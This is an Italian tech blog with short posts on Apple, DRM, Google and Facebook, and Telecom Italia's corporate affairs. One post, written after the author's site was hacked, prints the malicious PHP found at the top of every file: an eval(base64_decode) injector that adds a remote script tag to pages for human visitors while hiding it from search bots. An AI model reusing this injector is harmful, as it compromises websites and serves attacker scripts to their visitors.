Exit Strategy vs Building the Future

In a conversation years ago, Mr. Jobs said he was disturbed when he heard young entrepreneurs in Silicon Valley use the term “exit strategy” — a quick, lucrative sale of a start-up. It was a small ambition, Mr. Jobs said, instead of trying to build companies that last for decades, if not a century or more.

NY Times via SvN

G vs FB

Paul Kedrosky sul perché la IPO di Google era interessante per varie ragioni mentre quella di Facebook riguarda solo il denaro:

Google’s new services represented things I care about and that I think matter — discovery, curiosity, and transparency — Facebook represents things that I don’t care about — narrowing, nattering, tribalism, etc. More than not caring, these are mostly things for which I have active contempt, as they represent the antithesis of curiosity and openness, which are what Google (mostly) facilitates, and that Facebook (mostly) doesn’t.

WTF ?

Mi distraggo per qualche giorno e mi ritrovo il blog compromesso. Pochi giorni dopo l’upgrade a 3.0 ? WTF ?

Tutti i file .php dell’installazione erano stati modificati, con all’inizio del file un bel

< ?eval(base64_decode("{very_long_base64_string}") ?>

Se qualcuno si vuole divertire, la parte iniziale del codice di invocazione è:

if(function_exists(‘ob_start’)&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists(‘mrobh’)){ if(!function_exists(‘gml’)){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],”googlebot”)&& (!stristr($_SERVER["HTTP_USER_AGENT"],”yahoo”))){ return base64_decode(“PHNjcmlwdCBzcmM9Imh0dHA6Ly9kb21haW5hbWVhdC5jYy9qczIucGhwIj48L3NjcmlwdD4=”); } return “”; } } if(!function_exists(‘gzdecode’)){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack(‘v’,substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header(‘Content-Encoding: none’); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match(‘/\< \/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si’,gml().”\n”.’$1′,$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start(‘mrobh’); } }

Update: ripubblicato dopo aver fatto pulizia più approfondita del sito.

John Gruber è un mito

Se c’è un solo blog su Apple da avere nell’aggregatore, questo è Daring Fireball. La gemma di oggi:

Tutti quelli là fuori che ce l’hanno duro per per la storia del finder di Snow Leopard riscritto in Cocoa, hanno bisogno di ripigliarsi. Cocoa è solo una API. Non è una specie di tecnologia magica per cui spargi una tonnellata di parentesi quadre nel tuo codice e improvvisamente ti ritrovi una interfaccia utente migliore.

Dalla prospettiva dell’utente, il finder di Snow Leopard continuerà ad essere più o meno l’esatto stesso pezzo di cacca che abbiamo avuto fin dall’inizio in Mac OS X.

PS: ovviamente, non può mancare Melablog, a complemento.

La buffa rincorsa tra Apple e Hacker

Apple rilascia i suoi iPhone e iPod Touch deliberatamente “crippled”. Ad alcuni la cosa piace poco. Ad altri piace una sfida.

Quindi, da una parte del ring abbiamo Apple che continua ad aggiornare i firmware per frustrare gli sbloccatori. Dall’altra parte abbiamo gli sbloccatori che si divertono ad aggiornare i loro “hack” per continuare a frustrare Apple.

Molto divertente vedere come l’uscita del firmware 1.1.2 per iPhone e iTouch sia addirittura preceduta dal “jailbreak” per iPod Touch 1.1.2.

Attendiamo lo sblocco dell’iPhone 1.1.2 per cominciare a tracciare un grafico del tempo medio di sblocco delle varie release del firware.

Tracking per i brani di iTunes Plus

Sembra che Apple nasconda nei brani acquistati da iTunes Plus informazioni sull’acquirente

Ci sono diverse possibili ragioni: avere qualcuno con cui prendersela se questi brani finiscono su una rete P2P (“questo brano è disponibile in mille copie su eMule, ci devi 2,5 milioni di dollari di danni…”), riservarsi per il futuro la possibilità di disabilitare la riproduzione di questi brani su computer/ipod non “associati” all’utente in questione e così via.

Tutto sommato non vedo particolari problemi con l’inserimento di informazioni identificative, salvo il fatto che ne Apple ne Emi hanno accennato a questa forma di tracking. Sarebbe più onesto (e più efficace come deterrente) avvisare gli utenti del fatto che i brani da loro acquistati contengono questo tipo di informazioni.

Via | /.

Apple & EMI: goodbye DRM

Sono molto curioso di conoscere i primi dati di vendita per i brani senza protezione da DRM in vendita da ieri su iTunes Plus. Finalmente iTunes offre il prodotto che avrebbe dovuto essere in vendita fin dal primo giorno: AAC a 256 kbps, con una qualità audio più che soddisfacente (per la maggior parte delle orecchie) e, soprattutto, nessuno di quei lacci e lacciuoli che peggiorano l’esperienza per il cliente senza offrire alcun concreto beneficio/protezione agli artisti e alle case discografiche.

Peccato solo per il prezzo, superiore del 30% ai brani “azzoppati” (1,29 contro 0,99 €).

Bersani, Vodafone e propaganda borsistica

Stefano Quintarelli ci fa notare la facilità con cui i giornalisti finanziari si sono bevute le giustificazioni di Vodafone per la massiccia svalutazione (5,1 miliardi di €) della partecipazione in Italia. Tutta, a dire di Vodafone, colpa di Bersani. Salvo che l’Italia rimane il paese più redditizio per Vodafone, e che il calo di redditività di Vodafone a livello europeo è stato tutto sommato in linea con quello italiano, soprattutto a causa di difficoltà in Germania. Dove Bersani non c’entra per niente…

E’ comprensibile che Vodafone cerchi di attribuire il più possibile a Bersani il calo di redditività in Italia, meno comprensibile che la stampa finanziaria accetti le spiegazioni del caso con così poco scetticismo.

Ah, ecco

Ci si chiedeva come mai gli spagnoli di Telefónica avessero pagato più dei soci Italiani le loro azioni nella nuova holding di Telecom (“Telco”) per finire poi per contare di meno nell’operatività della società (solo due consiglieri d’amministrazione su 19, senza deleghe). Dato per scontato che non fossero fessi, qualche contropartita per il sovraprezzo ci doveva pur essere.

L’ottimo Stefano Quintarelli ci segnala che le contropartite cominciano a saltare fuori. All’italiana, potremmo dire: i comunicati stampa italiani e spagnoli differiscono in alcuni punti, così come le comunicazioni effettuate alle autorità di controllo di borsa italiane e spagnole. A quanto pare, le prelazioni e i diritti di veto di Telefónica non sono poi così innoqui come Mediobanca, Intesa Sanpaolo e Generali vogliono far credere al pubblico e all’establishment politico. Telefónica sembra essersi garantita un importante potere di interdizione nel gioco futuro delle alleanze/aggregazioni, mentre i soci italiani sembrano aver barattato un ingresso meno oneroso in Telecom con importanti limiti alla libertà che avranno nel massimizzare il valore delle rispettive partecipazioni.

D’altronde, si sapeva fin dall’inizio che per i nuovi padroni italiani di Telecom l’investimento in Telecom è solo secondariamente un investimento finanziario…

La storia si ripete…

Si prospetta una mostruosa commistione di Interessi come soluzione al caso Telecom.

Di solito si dice che:

La storia si ripete sempre due volte: la prima in tragedia la seconda in farsa

Nel caso Telecom la famosa citazione va cambiata un po’: “a storia si ripete almeno tre volte, la prima come farsa, la seconda come enorme farsa, la terza come farsa colossale”.

La cosa che più mi preme sapere in questo momento è: dove ca**o sono gli ululati di oltraggio delle vestali del conflitto di interessi, ora che si parla di Mediaset come cavaliere bianco per “salvare” Telecom da mani straniere ?

Da dove viene la malsana idea che garantire al duopolista della televisione una “stake” nel monopolista della rete fissa sia una meglio per il paese rispetto alla vendita ad investitori stranieri non impegolati nella politica italiana ?

Che il signore ci scampi dalla “soluzione italiana” per Telecom, se è quella che si prospetta in questi giorni…

Eternal Sunshine of the Spotless Mind

Ipse dixit: lo spacchettamento Telecom sarà un grande banco di prova della effettiva indipendenza dei mezzi di informazione nei confronti dei loro grandi inserzionisti.

E’ davvero curiosa la spaventosa amnesia che ha colpito i mass media italiani nel parlare dei risvolti delle decisioni prese ieri dal CDA Telecom Italia.

Come osserva il Financial Times, ancora a marzo 2004 l’AD sosteneva che l’acquisto della metà di TIM non posseduta da Telecom Italia non avrebbe avuto alcun senso dal punto di vista strategico. Per poi cambiare marcia pochi mesi dopo (dicembre 2004). Quello che mi chiederei se fossi azionista di Telecom Italia è: quanto cavolo è costata, in fee agli advisor, alle merchant bank, agli avvocati, ai consulenti e ai notai la OPA su TIM ? E quanto costerà, in fee agli operatori di cui sopra, lo spacchettamento di TIM e dell’ultimo miglio ?

Per non parlare di Telecom come media-company: come pretendere che qualcuno si ricordi che Telecom aveva creato un proprio operatore pay-tv, Stream, a lungo in comprorietà con News Corp, il ventilato partner per la media company che Telecom anela a diventare.

E ora, dopo la convergenza fisso-mobile, la divergenza.
Quello che è sicuro è che, per la salute dell’infrastruttura tecnologica del paese, prima entreranno altri azionisti nella società dell’ultimo miglio, e minore sarà la partecipazione di TI in questa società, meglio sarà: che Telecom Media Company abbia lo sprone ad esplorare tutti i canali per veicolare i propri contenuti (incluso, ad esempio, il Wi-Max,finora frenato), e che Telecom Ultimo Miglio abbia lo sprone ad aprire a pari condizioni i propri cavi a tutti gli operatori che vogliano fornire servizi ai clienti privati e business.

Liberi da Libero ?

Un ottima occasione per “votare con i piedi”: Libero giustifica le strozzature al traffico p2p con la necessità di garantire la qualità del servizio per gli altri utenti, poverini, che vedono il loro ” traffico conversazionale” rallentato dall’ingordigia di alcuni utenti “cattivi”.

Una domanda: Skype viene classificato nel ” traffico conversazionale”  (buono)  o nel traffico  p2p (cattivo) ?  Se Skype viene usato per trasferire un file passerebbe da VoIP (buono) a p2p  (cattivo) ? Sono curioso, perchè se Skype “conversazionale” toglie soldi a Wind (padrone di Libero), Skype p2p deteriora la qualità del servizio per gli altri utenti …

E’ una dura vita, quella degli operatori TLC che vogliono offrire connessioni a larga banda: gli utenti chiedono ai loro ISP solo tre cose (banda larga, always on, fuori dai piedi), ma questo concetto della network neutrality non piace molto agli operatori.
Ovviamente, chiedere a Libero di preoccuparsi di migliorare la connettività è ingenuo. Prima o poi sarà necessario un intervento delle autorità di tutela della concorrenza per evitare discriminazioni sempre più invadenti del traffico generato dagli utenti …

[Via Mantellini]

EFF – no a Google Desktop

La Electronic Frontier Foundation sconsiglia l’uso di Google Desktop per i rischi che comporta per la privacy degli utenti:

Se un utente la abilita, la funzione “Search Across Computers” archivierà sui server di Google copie di documenti Word, PDF, fogli di calcolo e altri documenti di testo, per permettere all’utente di effettuare ricerche su questi documenti da qualsiasi PC. EFF consiglia caldamente ai consumatori di evitare questa funzione, perchè renderà i loro dati personali più vulnerabili a richieste di informazioni da parte del governo e potenzialmente da privati cittadini nel corso di cause legali.

Quando verrà offerto il tasto “purge all my data” ?

Wi-Fi gratis nella città dell’MIT e di Harvard

Il Massachusetts Institute of Technology e l’università di Harvard collaboreranno per coprire l’intera città di Cambridge, Massachusetts con una rete Wi-Fi.

Certo, l’università di Harvard dispone di un “endowment” da 25,9 miliardi di dollari (quello dell’MIT si aggirà sui 7 miliardi di dollari). Difficilmente paragonabile alle dotazioni patrimoniali delle università di Milano. Certo, se Bocconi, Politecnico, le due Statali, la Cattolica e lo Iulm si mettessero assieme ed esercitassero un po’ di moral suasion, magari qualche finanziamento pubblico e privato potrebbe saltar fuori … sognare è facile.